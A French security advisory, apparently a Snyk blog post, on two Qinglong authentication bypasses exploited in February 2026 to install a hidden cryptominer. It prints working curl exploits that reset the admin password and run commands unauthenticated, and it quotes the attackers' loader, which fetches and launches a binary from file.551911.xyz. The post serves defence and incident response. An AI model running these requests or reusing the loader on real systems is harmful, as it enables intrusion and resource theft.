Vulnérabilités RCE du planificateur de tâches Qinglong exploitées dans la nature à des fins de cryptominage

Début février 2026, des utilisateurs de Qinglong (青龙), une plateforme open source populaire de gestion des tâches planifiées qui compte plus de 19 000 étoiles sur GitHub, ont commencé à signaler une utilisation maximale du processeur sur leurs serveurs. La cause : un mineur de cryptomonnaie nommé .fullgc, déployé au moyen de deux vulnérabilités de contournement de l’authentification permettant l’exécution de code à distance sans authentification.

Les attaques sont largement passées inaperçues dans la communauté de la sécurité anglophone. Mais sur les forums de développeurs chinois et dans les issues GitHub, la situation était claire : des attaquants exploitaient des panneaux Qinglong accessibles au public pour déployer des mineurs de cryptomonnaie.

Chronologie

Qu’est-ce que Qinglong ?

Qinglong est un panneau de planification des tâches auto-hébergé qui prend en charge les scripts Python3, JavaScript, Shell et TypeScript. Il est largement utilisé par la communauté des développeurs chinois pour automatiser des tâches récurrentes, de la collecte de données aux workflows de notification. Le projet est disponible sous forme d’image Docker et de package npm (@whyour/qinglong).

Les téléchargements npm sont peu nombreux, mais Docker est le principal canal de distribution. Les 19 400 étoiles et 3 200 forks du projet sur GitHub témoignent d’une base d’utilisateurs importante, principalement composée de développeurs sinophones qui le déploient sur des instances VPS cloud et des serveurs personnels.

Les vulnérabilités

Deux vulnérabilités distinctes de contournement de l’authentification ont été signalées le 27 février 2026. Elles affectent toutes deux Qinglong version 2.20.1 et les versions antérieures. Elles sont désormais répertoriées dans la Snyk Vulnerability Database : SNYK-JS-WHYOURQINGLONG-15440732 et SNYK-JS-WHYOURQINGLONG-15468374.

Contournement de l’authentification par réécriture d’URL (CVE-2026-3965)

La première vulnérabilité (CVE-2026-3965, GitHub Issue #2933) exploite une règle de réécriture d’URL dans le middleware Express.js de l’application. Qinglong réécrit les requêtes de /open/* vers /api/$1, créant ainsi un chemin imprévu vers des points de terminaison d’administration protégés.

Un attaquant pouvait réinitialiser les identifiants d’administration en envoyant une seule requête non authentifiée :

1curl -X PUT "http://target:5700/open/user/init" \
2  -H "Content-Type: application/json" \
3  -d '{"username": "admin", "password": "attacker_password"}'

Une fois les identifiants réinitialisés, l’attaquant contrôlait entièrement le panneau et pouvait notamment créer et exécuter des scripts arbitraires.

Contournement de l’authentification par correspondance sensible à la casse des chemins (CVE-2026-4047)

La deuxième vulnérabilité (CVE-2026-4047, GitHub Issue #2934) permet l’exécution de code à distance (RCE) sans authentification et sans réinitialisation du mot de passe. Le middleware d’authentification utilise une comparaison de chaînes sensible à la casse (req.path.startsWith('/api/')) pour identifier les routes protégées. Or, Express.js traite les routes sans tenir compte de la casse. Une requête vers /aPi/system/command-run au lieu de /api/system/command-run contourne entièrement la vérification d’authentification tout en étant acheminée vers le point de terminaison d’exécution de commandes :

1curl -X PUT "http://target:5700/aPi/system/command-run" \
2  -H "Content-Type: application/json" \
3  -d '{"command": "id"}'

Cela permet l’exécution de code à distance sans authentification ni réinitialisation des identifiants.

Une erreur de conception fréquente

Les deux vulnérabilités découlent d’un décalage entre les hypothèses du middleware de sécurité et le comportement du framework. La couche d’authentification partait du principe que certains modèles d’URL seraient toujours traités d’une manière donnée, alors qu’Express.js les traitait différemment. Il s’agit d’une catégorie de problèmes bien connue en sécurité des applications web : lorsque la logique d’autorisation interprète la requête différemment de la couche de routage, des contournements peuvent facilement se produire. Snyk a déjà expliqué en détail les problèmes de contrôle d’accès dans Express.js. Un contournement similaire de l’autorisation du middleware a également été découvert dans Next.js (CVE-2025-29927), ce qui montre que cette catégorie de vulnérabilités ne se limite pas à un framework en particulier.

La campagne de cryptominage

Bien que ces vulnérabilités aient été officiellement signalées le 27 février, leur exploitation avait commencé depuis plusieurs semaines. À partir du 7 ou 8 février 2026, des utilisateurs de Qinglong ont commencé à ouvrir des issues au sujet d’un processus caché nommé .fullgc, qui utilisait entre 85 et 100 % de leur processeur.

Déroulement de l’attaque

Les attaquants ont exploité le contournement de l’authentification pour modifier le fichier de configuration de Qinglong (config.sh) et y injecter un script Shell qui :

1. Téléchargeait un binaire adapté à la plateforme depuis file.551911.xyz (compatible avec Linux x86_64, ARM64 et macOS)

2. L’enregistrait sous forme de fichier caché à l’emplacement /ql/data/db/.fullgc

3. L’a rendu exécutable et l’a lancé en arrière-plan, sans afficher la sortie

4. Intégrait un mécanisme de persistance pour relancer le mineur s’il était arrêté

Le code injecté ressemblait à ceci :

1# Downloads binary from unofficial domain
2u="https://file.551911.xyz/fullgc/$(uname -s)_$(uname -m)"
3b="/ql/data/db/.fullgc"
4curl -fsSL -o "$b" "$u" && chmod +x "$b" && nohup "$b" >/dev/null 2>&1 &

Le nom de fichier .fullgc a peut-être été choisi pour se fondre parmi les processus légitimes. Dans les environnements Java/JVM, le « Full GC » (Full Garbage Collection) est une cause connue de pics d’utilisation du processeur, ce qui pouvait retarder l’enquête d’un administrateur.

Ampleur de l’impact

Plusieurs utilisateurs ont signalé des infections dans différentes configurations de déploiement, notamment sur des systèmes protégés par des proxys inverses Nginx avec SSL. Des fournisseurs cloud comme Alibaba Cloud (Aliyun) ont signalé des instances touchées pour activité de cryptominage. Au moins un utilisateur a signalé que des attaquants avaient également compromis son panneau de supervision Nezha par ce même accès, obtenant ainsi une visibilité sur des centaines de machines.

Dans l’Issue #2926, la communauté a demandé au responsable du projet de publier un avertissement sur le canal Telegram du projet, précisant que des utilisateurs continuaient d’être compromis plusieurs jours après les premiers signalements.

Comment la vulnérabilité a été corrigée

La réponse initiale (PR #2924) s’est concentrée sur la validation des entrées : bloquer curl, wget, les substitutions de commandes et autres métacaractères Shell dans les champs des tâches cron. Il s’agit d’une mesure de défense en profondeur, mais elle cible la charge utile précise de l’attaque plutôt que le problème de contrôle d’accès sous-jacent. À noter que la PR #2924 n’a jamais été fusionnée. La véritable correction devait traiter le contournement de l’authentification au niveau du middleware, ce qui a été fait dans la PR #2941.

Cet ordre des choses est révélateur. Lorsqu’une application est activement exploitée, le premier réflexe est de bloquer la charge utile observée. Mais si la cause profonde est un contournement de l’authentification, le filtrage au niveau de la charge utile ne suffit pas : les attaquants se tourneront simplement vers une autre charge utile. La décision du responsable du projet de donner la priorité à la correction de la couche d’authentification (PR #2941) plutôt qu’au blocage de la charge utile (PR #2924) respecte les bonnes pratiques de sécurité : corriger d’abord le problème de contrôle d’accès, puis envisager la validation des entrées comme mesure complémentaire de défense en profondeur.

Leçons à tirer pour la sécurité des applications auto-hébergées

Cet incident met en évidence des risques qui dépassent largement le cadre du projet Qinglong.

Auditez votre chaîne de middleware

Si votre application utilise la réécriture d’URL ou l’autorisation basée sur les chemins, vérifiez que le middleware de sécurité et la couche de routage interprètent les requêtes de la même manière. La sensibilité à la casse, les barres obliques finales, l’encodage des URL et les règles de réécriture sont autant de sources fréquentes de décalage. La leçon de Snyk Learn sur les erreurs de configuration de la sécurité des API présente ces situations plus en détail. Des outils comme Snyk Code peuvent vous aider à les détecter dans vos propres applications.

Considérez les panneaux auto-hébergés comme une surface d’attaque

Toute application web exposée à Internet est une cible, aussi spécialisée soit-elle. Si elle dispose d’une API capable d’exécuter des commandes, elle doit être protégée par une authentification réellement efficace. Envisagez de placer vos outils auto-hébergés derrière un VPN ou un tunnel SSH plutôt que de les exposer directement.

Surveillez toute utilisation inattendue des ressources

Le cryptominage a été détecté principalement en raison de la saturation du processeur. Si les attaquants avaient limité l’utilisation du mineur à seulement 20 ou 30 % du processeur, la détection aurait pris beaucoup plus de temps. Utilisez des limites de ressources pour vos conteneurs et surveillez-les afin de détecter rapidement les comportements anormaux.

Mettez à jour vos images Docker

Qinglong est principalement déployé via Docker. Il est essentiel de maintenir les images de conteneurs à jour, en particulier lorsque des correctifs de sécurité sont publiés. Le guide de Snyk sur les 10 bonnes pratiques de sécurité Docker présente les principes fondamentaux, et des outils comme Snyk Container peuvent surveiller en continu vos images de conteneurs pour détecter les vulnérabilités connues.

Vérifiez vos configurations

Si vous utilisez Qinglong ou l’avez utilisé par le passé, recherchez tout signe de compromission :

1# Check for the cryptominer binary
2ls -la /ql/data/db/.fullgc
3
4# Check config.sh for injected code
5grep -r "551911" /ql/data/config/
6grep -r "fullgc" /ql/data/config/
7
8# Check for unexpected background processes
9ps aux | grep fullgc

En cas de compromission, supprimez les volumes Docker montés (pas seulement le conteneur), retirez le code malveillant de config.sh, recréez les conteneurs à partir d’une image saine et installez la dernière version.

La situation dans son ensemble

Les vulnérabilités de Qinglong rappellent pourquoi la sécurité open source exige une attention constante. Un projet peut compter des milliers d’étoiles et une communauté active tout en présentant des failles critiques dans sa couche d’authentification depuis des années. Le contournement de l’authentification dû au routage insensible à la casse (Issue #2934) aurait affecté toutes les versions. Ce cas rappelle la compromission d’Ultralytics AI, où des attaquants ont également exploité l’accès à un projet open source pour déployer des mineurs de cryptomonnaie.

Les charges utiles de cryptominage sont faciles à déployer et difficiles à détecter, en particulier sur des plateformes comme les planificateurs de tâches, qui exécutent déjà des scripts arbitraires par conception. Pour les responsables d’outils auto-hébergés, cet incident montre concrètement pourquoi l’exposition au réseau, la conception de l’authentification et la rigueur des mises à jour sont toutes importantes.